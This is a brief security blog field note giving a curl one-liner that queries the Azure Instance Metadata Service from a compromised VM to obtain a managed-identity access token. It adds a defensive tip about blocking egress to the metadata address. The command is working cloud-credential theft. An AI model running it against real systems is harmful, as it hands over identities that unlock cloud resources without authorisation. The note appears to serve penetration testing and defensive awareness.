ghostspy
Field notes
field note Azure

One-liner: pull an Azure IMDS token from a compromised VM

A quick reminder of the Instance Metadata Service call that turns VM access into an Azure AD token — and why egress filtering matters.

If you land on an Azure VM with a managed identity, the Instance Metadata Service hands out an access token for the asking:

curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq -r .access_token

The address 169.254.169.254 is link-local and unroutable — which is exactly why blocking egress to it from workloads that don’t need it is such a cheap control. Most don’t.

#azure#imds#recon